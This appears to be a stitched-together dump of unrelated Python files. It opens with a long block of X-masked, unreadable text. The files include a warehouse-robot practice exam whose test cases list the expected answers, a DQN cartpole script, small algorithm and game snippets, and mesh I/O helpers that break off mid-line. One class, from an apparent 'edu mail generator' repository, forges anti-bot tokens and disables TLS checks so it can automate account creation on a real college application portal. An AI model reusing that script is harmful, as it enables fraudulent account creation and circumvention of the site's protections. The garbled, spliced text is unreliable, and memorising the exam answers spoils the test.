XXXXXXXXX XXXXXXX XXX XXXXX XX XXXX XX XXXXXXX XXX XXX XX XXXX XX XXXX XXX XXXXXX XX XXXXXXXX XX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXX XXXX XXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXX XXXXXXX XXXXX XX XXXXXX XXXXXXXXX XX X XXX XXXXXXX XXXX XXXXXXX XXXXXX XXX XXXX XXXXXXXXX XXXXX XXXXX XX XXX XXXXXXXXXXX XX XXXXX XXX XXXXXXXX XXXX XXX XXXXXXXXXXX XXXXXXXXX XXXX XXXXXXX XXXX XXX XXXXXXXXXXXXXX XXXXXX XXXXX XXXX XX XXXXX XXXXXX XX XXXXXXX XXX XXXXXXXXX XXX XXX XXXXXX XXXXXXX XXXXX XXX XXXXXXXX XXXX XX XXX XXXX XXXXX XXX XXX XXXXX XX XXXXXXXXX XX XXXXXXX XXXXXX XXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXX XXX XXXXXXX XXXXXXXXXXXXXX XXX XXXX XXXX XX XXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XX XXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXX XXXX XXX XXXXXXXXXXXXXXXXXX XXXXXX XXXXXXXXXXX XXXXXX XX XXXXXXXXX XXXX XXX XX X XXXXXXXX XXXXXX XXXX XXX XX XXXXXX XXXXXXXXX XXX XXXXX XXXXXX XXXXXX XX XXXXXXXX XXXX XXXX XXXX XXXXX XXX X XXXXX XXX XXXX XXXXXX XXXX XXXXXXX XXXXX XXX XXXXXXXXXX XX XXXXXX XXXXXX X XXXXXX XXXXXXXXX XXX XXXXXXXXXX XXXXXXX XX XXXX XXXXXX XXXXXXXX XXXX XXXX XXXXXXXXX XXXXXXXXXXXXXXXXX XX XXXXXXXXXXXX XXXXXXXX X XXXX XXX XXXX XXX XXXX XXXXXXXX X XXXX XXX XXXX XXXXXXXX XXXXX XXXXXXXXX XXXX XXXX XX XXXXX XXXXXX XXXXXXXXX XXXX XXXXXXXX XXXXXXXXX XXXX XXXXX XXXXXX XX XXXXXXX XXXXXXXXXXX XX XXXX XXXXXX XXXX XXXX XXXXXXXX X XXXXXXX XX XXXXXXXXXXX XXXX XXXXX XXXXXX XXXXXXX XXX XXXXXX XXXX XXXXXXXX XXXX XXX XX XXXXXX XXXXXXXXX XXXXXXXXXXX XXXXXX XXXXX XXX XXX XXXXX XXXX XX XXX XXXXXX XXXX XX XXXXXXXXXXX XXXXXXXXX XXXXXX XX XXXXXX XX XXXXXXXXXXXXXXXXXXXXXXXXXX XXXXX XXXXX XXX XXXX XXXXX XX XXX XX XXX XXXXXX XXXXXXXXXXXXX XXXXXXXX XXXXXXXXXXXXXXXXXXXXXX XXX XXXXXXX XXXXXXXXX XXXXXXXXXX XX XXXXXXXXXXXXX XX XXXX XXX XXXXXXXXX XXXXXXXXX XXXX XXX XXXXXXXXXXXXXXXX XXXXXXXXXX XX XXXXXX X XXXX XXXXXXXXXXXXXXXXXXXXXXXXXXX XXXX XXX XXXXXXXXX XXXXXXXXX XX XXXXXXXXXXXX XXX XXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXX XXXXX XXXXX XXXXX XXXXX XX X XXXXXX XXX XX XXXXXXX XXXXXXXXX XXXXXX XXX XXXX XXXXXXXXX XXXXXXXX XXX XXXXXX XXXXXXX X XXXXX XXXXXX XX XXXXXXXX XXXXXXXX XXXXXXXXXXXXX XX XX XXX XXXXXX XXXXXXXXXX XXXXX XXXXX XXXXXXXXXXX XX XXX XXXXXXX XX XXXX XXXXXXXXXXXXXX XXXXXXX XXXX XXXXXX XXXXXXXXXXXXXX X X XXX XXXXXXXX X XX XXXXXXX XXX XXXXX XXXXXXX XX XXXX XXXXXXX XXXXXXX XXXX XXXXXX XXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXX XX XXX XXXXXXXX XXXXXXXXX XXXXXXXXX XX XXXXXX XXX XXXXX XXXXXXX XX XXXXX XXX XXXXXXXXXXX XXXXXX XXX XXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXX XX XXXXXX X XXXX XXXXXXX XXXX XXX XXXXX XXX XXXXXXXXX XX XXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXX XX XXXXXXXXXXX XX XXX XXXXX XX XXXXXX X XXXXXXXXXXXXXXXXXXXXXXXX XXXXX XXXXXXXX X XXXXXXX XX XXXXXX XXX XXXXX XX XXXX XXXXXXXXX XXX XXXXXXX XX XX XXX XXXX XXXX XXXXXXXX XXXXXXXX XXXXXXX X XXXXXXX XX XXXXXXXXXX XXXXXX XXX XXXX XXXXXXXXXXXXXXXXX XXXX XXX XXXXXXXXXXX XXXXX XXX XXX XXXXXXXX XXXXXXXX XXXXXX XXXX XX XXXX XXXX XXX XXXXXXXX XXXX XX XXXXX XXXX XXXX XXXXXXXXX XXXXXX XXXX XXXXXX XXX XX XXXX XX XXX XXXX XXXXX XX XXXX XXXXX XXXXXX XXXXXXXXXXXXX XXX XXXXXXXXXXXX XXXXX XXXXX XXXXXX XXX XX XXXXX XXX XXXXXXX XXX XXXX X XXXX XXXXXXXXXXX XX XXXXX XXXXX XX XXXXXX XXX XXXXX XX XXXX XXXXXXXXX XXX XXX XXXXXXXXXXX XXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXX X XXXX XXXXXXXXXXXX XXXXXX XXX XXXXX XXXXXXXXXXXXXXXXXXXXXXXXXX XXX XXXXXXXXXXXXXXXXXXXXXXXXX XXXX XXX XXXXXXXXX XXXXXXXXX XX XXXXXXXXXXXX XXX XXXXXXXXX XXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXX XXXX X XXXXXXXXXXXX XXXXXXX X XXX XXXXXXXXXXX X X XXXXXX XXX XX XXXXXXX XXXXXXXXX XXXXXX XXXXXXXXXXXXXXXX X XXXXX XXXXXXXXXX XXX X XXXXXXXXXXXXXXXXXXXXXXXX XXXXXX X XXXX XXXX XXXXXXXXXXXX X XXXXXXXXXXXXXXXXXXXX XXXXXXX X XXXXXXXXXXXX X XXXXXXX XXXXXXX XXXXXXXXXXX X XXXXXXXXXXX XX XXX XXXXXXXXXXX XXXXXXXXX XX XXXXXX XXXXXXXXX XX XXXXXX XX XXX X XXXXXXX XXXXX XX XXXXXXXXXXX XXXXXXXX XXXXXXXX XX XXXXXXXXXX XXXXXXX XX XXX XXXXXXXX XX XXX XXXXXXX XXXXXXXXX XXXXXX XX XX XXXXXXXXXXX XXXXXXXXXXX XXXXXXXX XX XXXXXX XXXXXXXXXXX XXXXXXXX XX XXXXXX XX X XXXXXXXXXXX XXXXXXXX XX XXXXXX XX X XX XXXX XXXXXXXXXXX XXXXXXXX XX XXXXXX XX XXX XXXXXXXXXXX XXXXXXXX XX XXXXXX XX XXX XXXXXXXXXXX XXXXXXXX XX XXXXXX XX XXX XXXXX XX XXXXXXXX XX XXXXXXXX XXXXX XX XXXXXXXX XX XXXXXXXX XX XXXXXXX XXXXXXX XXXXXXXXX XXXXXXXXXXXXXXXXXXXX X XXXX XXXXXXXX X XXXXX XX XXXXXXXXXXXX XXXXXX XXXXXXXXX XXXXXXXXXXXXXXXXXXXXX XXXX XXXXXXXXXX XXXXXX XXXXX XXXXXXX XX XXXX XXXXXX XXXXXXX XXX XXXXXXXX XXX XXXXXXXX XX XXX XXXXXXX XX XXXXXXXX XX XXXXXXX XXXXXXXXXX XXXXXX XXXXX XXXX XX XXXXXX X XXXXXXXXXXXXXXX XXXXX XXX XXXXXXXXXX XXXX XXXXXXXX XX XX XXX XXXXXXXX XXXX XXXXXXX XXXX XXXX XX XXXX XXXXXXXX XX XXXXXXX XXX XXXXXXXXXX XXX XXXXXXXXXXXXXX XXX XXX XXXXXXXXXXX XXXXX XXXXXX X XXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXX XXX XXXXXXXXX XXXXXXXXX XX XXXXXXXXXXXX XXXX XXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXX XXXXXXX XXXXXXX XXXXXXX XXXXXXXXXX XXXXXXXXXXXXXXXXX XXXXXXXXXXXX X XXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXX X XX XXXX XXXXXXXXX XXX XXXXXXXXXXXX XX XXXXXXX XXXXXXXX XXXXXXXXXXXXX XXXX XXXX XXXX XXXXXX XX XXXXX XXXXXXXXX XXXXXXXXXXXXXXXXXXXXX XXX XXXXXX XXXXXXXXXXXXXX XXX XX XXXXXXXXXX XXXX XX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXX XXXX X XXXX XXXX XXX XXXXXXXX XXXXXXXXX XXXXX XX XXXXXXXX XX XXXX XXXXXXX XXXXXX XXX XXX XXXX XXXXX XX XXX XXXX XXXXXX XXXX XXXX XXXXXXX XXXXX XXXXXXXXXXXXX XXXXXX XXXXXXX XXXXX XXXX XXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXX XX XXX XXXXXXXX XXXX XXXXXXX XXXX XXXXXXXX XXXXXXXX XXXXXXX XXXX XXXX XXXXXX XXXXXXXXXXXXXXXXXX XXXX XXXXXXX X XXXXXXXXX XXXXXX XXXXXXXX XXX XXXXXX XXXX XXX XXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXX XXX XXXX XXXXXXXXXXX XX XXXXXXXXXX XXX XXXXXXXX XXXXXXXXX XX XXXXXXXXX XXX XXXXXXXXXXXX XXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXX XXXX XXX XXXXXXX XXXXXXXXXXXXXXXXXXXXXX XXXXX XX XXXXX XXX XXXXXXXXX XXXXXXXXX XXX XX XXX XXXXXXXX XXXX XX XXXXXX XXXXXXXX XXXXX XXX XXX XXXX XX XXXXXXXXXX XXX XXX XXXXXXXXXXXXXXXX XXXXXXXX XX XXXXXXXXXXXX XXXXXXXXXX XX X XXXX XXXXXXX XXX XXXXXXXXX XXXXX XXXXXXX XXXXXXXXXXXXXXXX XX X XXXX XXXXXXXX XXXXXXXX XXXXXXXX XXXX X XXX XX XXXXXXXXXX XXXX XXXXXXXXXX XXX XXXXXXX XXXXXXXXXXXX XXXX XX XXXXX XXXXXX XX XXXXXXX XXXXX XXX XXXXX XXXX XXXXXXXXXXXXX XXXXXX XX XXXX XX XXXXXXXXXX XXX XXXXXXX XXXX XXXXXXXXX XXXXXX XXXXXXXX XXX XXXXX XXXXX XX XXX XXXXXXXX XXXX XXXX XXXXXXXX XXXXXXXXXXXXX XXX XXXXX XXXXXX XXX XXXXXXXX XX XXXXXX XXXXX XXXX XXX XX XXXX XXXXX XX XXXXX X XXXXXXX XXXXXXXXXXX XX X XXXX XXXXXX XXXXXXXX XXXX XXXXXXX XX XX XXXXXXX XXX XXXXXXXX XXX XXX XXXX XXXXXXX XXXXXXXXXXXXXXX XX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXX XXXXXX XX XXX XXXXXXX XXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XX XXXX XXXXX XXXX XXXXXX XXXXXXX XXXXXX XXX XXXX XXXXXXXXX XXXXXX XXX XXX XXXXXX XXXXX XX XXXXXXX XXXXX XX XX XXXXXXXXX XXX XXXXXXXX XXX XXXXX XXXXXX XX XXX XXXXXXXXX XXXXXXXXXXXX XXXXXXXXXX XXXX XXX XXXXXXXXXXXXXXXXXXX XXX XXXX XXXXX XXXXXXXX XXX XXXXXX XXXXXXXXXXXXXXXXX XXXX XXXXX XX XXXXX XXXX XXX XXXXXX XX XXXX XXXXXX XXXX XX XXXXXXXX XXX XXXXX XXXX X XXXXX XXX XXXXXXX XX X XXXXXXX X XXXXXX XXX XXXXXXX XX XXXX XXXXXXXX X XXXX XXX XXXXXXX XX X XXXXXX XXXXXXXXXXX XXXX XX XXXX XXXXXX XXXXXXX XXXXX XXXXXXXXX XXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXX XX XXXX XXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXX XXXXX XXXXX XXXXXXXXXX XXXXXX XXXXXXXX XXXX X XXXXXXX XXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXX XX XXXXXXXXX XXX XXXXX XXX XX X XXXX XXXXXXXX XXXX XXX XXXX XXXXXXXXXXXXXX X XXXXXXXXX XXX XXXX XXXXXXXXX XXX XXXXXX XXXXX XXXXXX XXXXXXXX XX XXXX XXXXXXX X XXX XXXXX XX XXXX XX XXX XXXXXXXX XXXXXXXX XX XXXX XXXXXXX XXX XXXXXX XXXX XXX XXXX XXXXXX XXXXXXXXXX XXXXX XXXXXXXXXX XXXX XXXXX XXXX XXXXXX XXXXXXXXXXX XXXXXXX XXXXXX XXXXXXXXX XXXX XXXX XXX XXX XXXX XXXXXXXX XX XX XXX XXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXX XXXX XXXX XXXXXX XXX XX XXXXXXXX XXXXXXXX XXXXXXXX XXXXXX XXXXXXXXXXXXX XXXX XXXX XXX XXX XXXX XX XXX XXXXXXXXX XXX XXXXXXX XXXXXXXXXX Practice_Exam/Question12-Warehouse_Robot.py # ------------------- # Background Information # # In this problem, you will build a planner that helps a robot # find the shortest way in a warehouse filled with boxes # that he has to pick up and deliver to a drop zone. # # For example: # # warehouse = [[ 1, 2, 3], # [ 0, 0, 0], # [ 0, 0, 0]] # dropzone = [2,0] # todo = [2, 1] # # The robot starts at the dropzone. # The dropzone can be in any free corner of the warehouse map. # todo is a list of boxes to be picked up and delivered to the dropzone. # # Robot can move diagonally, but the cost of a diagonal move is 1.5. # The cost of moving one step horizontally or vertically is 1. # So if the dropzone is at [2, 0], the cost to deliver box number 2 # would be 5. # To pick up a box, the robot has to move into the same cell as the box. # When the robot picks up a box, that cell becomes passable (marked 0) # The robot can pick up only one box at a time and once picked up # it has to return the box to the dropzone by moving onto the dropzone cell. # Once the robot has stepped on the dropzone, the box is taken away, # and it is free to continue with its todo list. # Tasks must be executed in the order that they are given in the todo list. # You may assume that in all warehouse maps, all boxes are # reachable from beginning (the robot is not boxed in). # ------------------- # User Instructions # # Design a planner (any kind you like, so long as it works!) # in a function named plan() that takes as input three parameters: # warehouse, dropzone, and todo. See parameter info below. # # Your function should RETURN the final, accumulated cost to do # all tasks in the todo list in the given order, which should # match with our answer. You may include print statements to show # the optimum path, but that will have no effect on grading. # # Your solution must work for a variety of warehouse layouts and # any length of todo list. # # Add your code at line 76. # # -------------------- # Parameter Info # # warehouse - a grid of values, where 0 means that the cell is passable, # and a number 1 <= n <= 99 means that box n is located at that cell. # dropzone - determines the robot's start location and the place to return boxes # todo - list of tasks, containing box numbers that have to be picked up # # -------------------- # Testing # # You may use our test function below, solution_check(), # to test your code for a variety of input parameters. warehouse = [[1, 2, 3], [0, 0, 0], [0, 0, 0]] dropzone = [2, 0] todo = [2, 1] # ------------------------------------------ # plan - Returns cost to take all boxes in the todo list to dropzone # # ---------------------------------------- # modify code below # ---------------------------------------- def plan(warehouse, dropzone, todo): return cost ################# TESTING ################## # ------------------------------------------ # solution check - Checks your plan function using # data from list called test[]. Uncomment the call # to solution_check to test your code. # def solution_check(test, epsilon=0.00001): answer_list = [] import time start = time.clock() correct_answers = 0 for i in range(len(test[0])): user_cost = plan(test[0][i], test[1][i], test[2][i]) true_cost = test[3][i] if abs(user_cost - true_cost) < epsilon: print "\nTest case", i + 1, "passed!" answer_list.append(1) correct_answers += 1 # print "#############################################" else: print "\nTest case ", i + 1, "unsuccessful. Your answer ", user_cost, "was not within ", epsilon, "of ", true_cost answer_list.append(0) runtime = time.clock() - start if runtime > 1: print "Your code is too slow, try to optimize it! Running time was: ", runtime return False if correct_answers == len(answer_list): print "\nYou passed all test cases!" return True else: print "\nYou passed", correct_answers, "of", len(answer_list), "test cases. Try to get them all!" return False # Testing environment # Test Case 1 warehouse1 = [[1, 2, 3], [0, 0, 0], [0, 0, 0]] dropzone1 = [2, 0] todo1 = [2, 1] true_cost1 = 9 # Test Case 2 warehouse2 = [[1, 2, 3, 4], [0, 0, 0, 0], [5, 6, 7, 0], ['x', 0, 0, 8]] dropzone2 = [3, 0] todo2 = [2, 5, 1] true_cost2 = 21 # Test Case 3 warehouse3 = [[1, 2, 3, 4, 5, 6, 7], [0, 0, 0, 0, 0, 0, 0], [8, 9, 10, 11, 0, 0, 0], ['x', 0, 0, 0, 0, 0, 12]] dropzone3 = [3, 0] todo3 = [5, 10] true_cost3 = 18 # Test Case 4 warehouse4 = [[1, 17, 5, 18, 9, 19, 13], [2, 0, 6, 0, 10, 0, 14], [3, 0, 7, 0, 11, 0, 15], [4, 0, 8, 0, 12, 0, 16], [0, 0, 0, 0, 0, 0, 'x']] dropzone4 = [4, 6] todo4 = [13, 11, 6, 17] true_cost4 = 41 testing_suite = [[warehouse1, warehouse2, warehouse3, warehouse4], [dropzone1, dropzone2, dropzone3, dropzone4], [todo1, todo2, todo3, todo4], [true_cost1, true_cost2, true_cost3, true_cost4]] # solution_check(testing_suite) #UNCOMMENT THIS LINE TO TEST YOUR CODE rebcabin/cartpoleplusplus #!/usr/bin/env python # copy pasta from https://github.com/matthiasplappert/keras-rl/blob/master/examples/dqn_cartpole.py # with some extra arg parsing import numpy as np import gym from keras.models import Sequential from keras.layers import Dense, Activation, Flatten from keras.optimizers import Adam from rl.agents.dqn import DQNAgent from rl.policy import BoltzmannQPolicy from rl.memory import SequentialMemory import bullet_cartpole import argparse parser = argparse.ArgumentParser() parser.add_argument('--num-train', type=int, default=100) parser.add_argument('--num-eval', type=int, default=0) parser.add_argument('--load-file', type=str, default=None) parser.add_argument('--save-file', type=str, default=None) bullet_cartpole.add_opts(parser) opts = parser.parse_args() print "OPTS", opts ENV_NAME = 'BulletCartpole' # Get the environment and extract the number of actions. env = bullet_cartpole.BulletCartpole(opts=opts, discrete_actions=True) nb_actions = env.action_space.n # Next, we build a very simple model. model = Sequential() model.add(Flatten(input_shape=(1,) + env.observation_space.shape)) model.add(Dense(32)) model.add(Activation('tanh')) #model.add(Dense(16)) #model.add(Activation('relu')) #model.add(Dense(16)) #model.add(Activation('relu')) model.add(Dense(nb_actions)) model.add(Activation('linear')) print(model.summary()) memory = SequentialMemory(limit=50000) policy = BoltzmannQPolicy() dqn = DQNAgent(model=model, nb_actions=nb_actions, memory=memory, nb_steps_warmup=10, target_model_update=1e-2, policy=policy) dqn.compile(Adam(lr=1e-3), metrics=['mae']) if opts.load_file is not None: print "loading weights from from [%s]" % opts.load_file dqn.load_weights(opts.load_file) # Okay, now it's time to learn something! We visualize the training here for show, but this # slows down training quite a lot. You can always safely abort the training prematurely using # Ctrl + C. dqn.fit(env, nb_steps=opts.num_train, visualize=True, verbose=2) # After training is done, we save the final weights. if opts.save_file is not None: print "saving weights to [%s]" % opts.save_file dqn.save_weights(opts.save_file, overwrite=True) # Finally, evaluate our algorithm for 5 episodes. dqn.test(env, nb_episodes=opts.num_eval, visualize=True) #Given a binary tree, return the inorder traversal of its nodes' values. #For example: #Given binary tree [1,null,2,3], #TC O(n) SC (1) class Solution(object): def inorderTraversal(self, root): """ :type root: TreeNode :rtype: List[int] """ if root == None: return [] else: result = [] stack = [] node = root while stack or node: if node: stack.append(node) node = node.left else: node = stack.pop() result.append(node.val) node = node.right return result a358003542/md4mathjaxmd4mathjax/__init__.py #!/usr/bin/env python # -*-coding:utf-8-*- from .md4mathjax import Md4MathjaxExtension, makeExtension __softname__ = 'md4mathjax' __version__ = '0.1.3' __all__ = [Md4MathjaxExtension]import sys import pygame import alien_invasion as ai from button_menu import ButtonMenu from game_state import GameState class Menu: def __init__(self, ai_game: ai.AlienInvasion): self.ai_game = ai_game self.stats = ai_game.stats self.sound = ai_game.sound self.screen = ai_game.screen self.settings = ai_game.settings self.style = ai_game.style self.image = self.style.get_image("menu_bg") self.rect = self.screen.get_rect() screenCenterX, screenCenterY = self.screen.get_rect().center play_button_pos = (screenCenterX, screenCenterY - 50) exit_button_pos = (screenCenterX, screenCenterY + 50) self.play_button = ButtonMenu(self, "menu_play_button", play_button_pos) self.exit_button = ButtonMenu(self, "menu_exit_button", exit_button_pos) def check_mouse_motion_event(self, event): if self.stats.game_state == GameState.PLAY: return mouse_pos = event.pos self._check_button_focus(self.play_button, mouse_pos) self._check_button_focus(self.exit_button, mouse_pos) def _check_button_focus(self, button, mouse_pos): focused = button.rect.collidepoint(mouse_pos) if button.focused != focused: button.focused = focused if button.focused: self.sound.play('shot') def check_mouse_events(self): if self.stats.game_state == GameState.PLAY: return mouse_pos = pygame.mouse.get_pos() self._check_play_button(mouse_pos) self._check_close_button(mouse_pos) def _check_play_button(self, mouse_pos): button_clicked = self.play_button.rect.collidepoint(mouse_pos) if button_clicked: self.ai_game.call_play_button() def _check_close_button(self, mouse_pos): button_clicked = self.exit_button.rect.collidepoint(mouse_pos) if button_clicked: sys.exit() def update(self): self.play_button.update() self.exit_button.update() def draw(self): # self.screen.blit(self.image, self.rect) self.play_button.draw() self.exit_button.draw() lordrohit/MrStark-XD-Edu-Mail-Generator import requests import json import urllib3 import string import random from __colors__.colors import * urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) class EduHelper: def __init__(self, id): self.url = 'https://www.openccc.net/f-vs-stand-I-hat-of-yout-ands-Banquoh-Cumberland?d=www.openccc.net' self.h = { 'accept': 'application/json; charset=utf-8', 'sec-ch-ua-mobile': '?0', 'user-agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.93 Safari/537.36', 'content-type': 'text/plain; charset=utf-8', 'origin': 'https://www.openccc.net' } self.url1 = 'https://www.openccc.net/cccacct-proxy/createAccount?locale=en&source=https://www.opencccapply.net/SSOLogin/{idd}/false/en'.format(idd=id) self.urlxd = 'https://www.openccc.net/cccacct-proxy/createAccount?locale=en&source=https://www.opencccapply.net/SSOLogin/{idd}/false/en'.format(idd=id) self.url2 = 'https://www.openccc.net/f-vs-stand-I-hat-of-yout-ands-Banquoh-Cumberland?d=www.openccc.net' self.h2 = { 'accept': 'application/json; charset=utf-8', 'sec-ch-ua-mobile': '?0', 'user-agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.93 Safari/537.36', 'content-type': 'text/plain; charset=utf-8', 'origin': 'https://www.openccc.net', 'sec-fetch-site': 'same-origin' } self.url3 = 'https://www.openccc.net/uPortal/p/AccountCreation.ctf1/max/action.uP?pP_execution=e1s1' self.h3 = { 'origin': 'https://www.openccc.net', 'content-type': 'application/x-www-form-urlencoded', 'user-agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.93 Safari/537.36', 'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9', 'sec-fetch-site': 'same-origin' } self.cookie = { 'reese84': None } self.session = requests.Session() def getAuthToken(self): print(fc + sd + '[' + fm + sb + '*' + fc + sd + '] ' + fg + 'Fetching Token', end='') data = { 'solution': { 'interrogation': { 'p': ''.join(random.choices(string.ascii_lowercase + string.digits, k=40)), 'st': 1627823618, 'sr': 9090987876, 'cr': 678989098 }, 'version': 'stable' }, 'old_token': None, 'error': None, 'performance': { 'interogation': 248 } } res = self.session.post(url=self.url, data=json.dumps(data), headers=self.h, verify=False) js = res.json() token = js['token'] self.cookie['reese84'] = token print(fg + ' (success)') return token def _tryHarder(self): token = self.getAuthToken() print(fc + sd + '[' + fm + sb + '*' + fc + sd + '] ' + fg + 'Fetching Cookies', end='') self.session.get(url=self.url1, cookies=self.cookie, headers=self.h, verify=False) print(fg + ' (success)') data2 = '"{tok}"'.format(tok=token) print(fc + sd + '[' + fm + sb + '*' + fc + sd + '] ' + fg + 'Sending Custom Fields and Token to Server', end='') resp = self.session.post(url=self.url2, data=data2, headers=self.h2, verify=False) print(fg + ' (success)') js = resp.json() print(fc + sd + '[' + fm + sb + '*' + fc + sd + '] ' + fg + 'Setting Incap Token', end='') token = js['token'] self.cookie['reese84'] = token print(fg + ' (success)') print(fc + sd + '[' + fm + sb + '*' + fc + sd + '] ' + fg + 'Sending Custom Cookies', end='') data3 = '_eventId_continue=&flowId=e1s1' resp3 = self.session.post(url=self.url3, data=data3, headers=self.h3, cookies=self.cookie, verify=False) print(fg + ' (success)') return resp3.url, self.session.cookies, tokenfrom collections import OrderedDict from functools import partial import json from pathlib import Path from shutil import copy import csv from scipy.io import savemat import numpy as np from menpo.base import LazyList import menpo.io as mio from menpo.io.output.base import _validate_filepath import menpo3d.io as m3io from menpo.image.base import normalize_pixels_range from menpo.shape import PointCloud export_pickle = partial(mio.export_pickle, protocol=4) import_pickle = partial(mio.import_pickle, encoding='latin1') def ensure_exists(p): if not p.is_dir(): p.mkdir(parents=True) def initialize_root(root): ensure_exists(root) ensure_exists(root / 'shape_nicp') ensure_exists(root / 'problematic') ensure_exists(root / 'visualizations' / 'landmarks') ensure_exists(root / 'visualizations' / 'shape_nicp') ensure_exists(root / 'visualizations' / 'pruning') def import_mesh(path, hasTexture=False, landmark_type='ibug68'): if path.suffix == '.pkl' or path.suffix == '.gz': mesh = import_pickle(path) else: mesh = m3io.import_mesh(path) if hasTexture: if mesh.texture.pixels.dtype != np.float64: mesh.texture.pixels = normalize_pixels_range(mesh.texture.pixels) else: landmark = [] count = 0 with open(str(path) + '.landmark') as pp_file: pp_file = csv.reader(pp_file, delimiter=' ') for row in pp_file: count = count + 1 if landmark_type == 'ibug100': if count >= 1 and count <= 100: landmark.append([float(row[0]), float(row[1]), float(row[2])]) if landmark_type == 'ibug68': if count < 69: landmark.append([float(row[0]), float(row[1]), float(row[2])]) if landmark_type == 'ibugEar': if count >= 78 and count <= 88: landmark.append([float(row[0]), float(row[1]), float(row[2])]) if count >= 90 and count <= 100: landmark.append([float(row[0]), float(row[1]), float(row[2])]) mesh.landmarks[landmark_type] = PointCloud(np.array(landmark)) return mesh def path_settings(r): return r / 'settings.json' def _save_settings_to_path(settings, path, overwrite=False): path = _validate_filepath(path, overwrite) settings_json = settings.copy() settings_json['ids_to_paths'] = {id_: str(path) for id_, path in settings['ids_to_paths'].items()} with open(str(path), 'wt') as f: json.dump(settings_json, f, sort_keys=True, indent=' ') def _load_settings_for_path(path): with open(str(path), 'rt') as f: settings = json.load(f) settings['ids_to_paths'] = OrderedDict(sorted( [(id_, Path(path)) for id_, path in settings['ids_to_paths'].items()], key=lambda x: x[0])) return settings def import_settings(r): return _load_settings_for_path(path_settings(r)) def export_settings(r, settings, overwrite=False): _save_settings_to_path(settings, path_settings(r), overwrite=overwrite) def path_shape_nicp(r, id_): return r / 'shape_nicp' / '{}.pkl'.format(id_) def _load_shape_nicp_for_path(path): from .data import load_template # circular import mesh = load_template().from_vector(import_pickle(path)) mesh.path = path return mesh def import_shape_nicp(r, id_): return _load_shape_nicp_for_path(path_shape_nicp(r, id_)) def export_shape_nicp(r, id_, mesh): export_pickle(mesh.as_vector(), path_shape_nicp(r, id_), overwrite=True) def paths_shape_nicp(r): return sorted(list(mio.pickle_paths(str(path_shape_nicp(r, '*'))))) def shape_nicp_ids(r): return [p.stem for p in paths_shape_nicp(r)] def shape_nicps(r): return LazyList.init_from_iterable(paths_shape_nicp(r), f=_load_shape_nicp_for_path) def path_initial_shape_model(r): return r / 'initial_shape_model.pkl' def import_initial_shape_model(r): return import_pickle(path_initial_shape_model(r)) def export_initial_shape_model(r, model): export_pickle(model, path_initial_shape_model(r)) def path_shape_model(r): return r / 'shape_model.mat' def path_shape_model_cropped(r): return r / 'shape_model_cropped.mat' def export_lsfm_model(pca, n_training_samples, path, extra_dict=None): if extra_dict is None: extra_dict = {} mdict = { 'components': pca.components.T, 'eigenvalues': pca.eigenvalues, 'cumulative_explained_variance': pca.eigenvalues_cumulative_ratio(), 'mean': pca.mean_vector, 'n_training_samples': n_training_samples, 'trilist': pca.mean().trilist } if extra_dict is not None: for k, v in extra_dict.items(): mdict[k] = v savemat(str(path), mdict) # if name.endswith('_tri'): # masking_info = mio.import_pickle( # model_path.parent.parent / 'radial_mask_tri.pkl') # mdict['map_crop_to_full'] = masking_info['map_cropped_to_full'] # mdict['map_full_to_cropped'] = masking_info['map_full_to_cropped'] # name = name.split('_tri')[0] def path_problematic(r, id_): return r / 'problematic' / '{}.txt'.format(id_) def export_problematic(r, id_, msg): with open(str(path_problematic(r, id_)), 'wt') as f: f.write(msg) # ---------------------------- VISUALIZATION IO ------------------------------ # def path_landmark_visualization(r, id_): return r / 'visualizations' / 'landmarks' / '{}.png'.format(id_) def export_landmark_visualization(r, id_, img): mio.export_image(img, path_landmark_visualization(r, id_), overwrite=True) def path_shape_nicp_visualization(r, id_): return r / 'visualizations' / 'shape_nicp' / '{}.png'.format(id_) def export_shape_nicp_visualization(r, id_, img): mio.export_image(img, path_shape_nicp_visualization(r, id_), overwrite=True) def path_pruning_visualization(r, id_, rank, w_norm, width): return (r / 'visualizations' / 'pruning' / 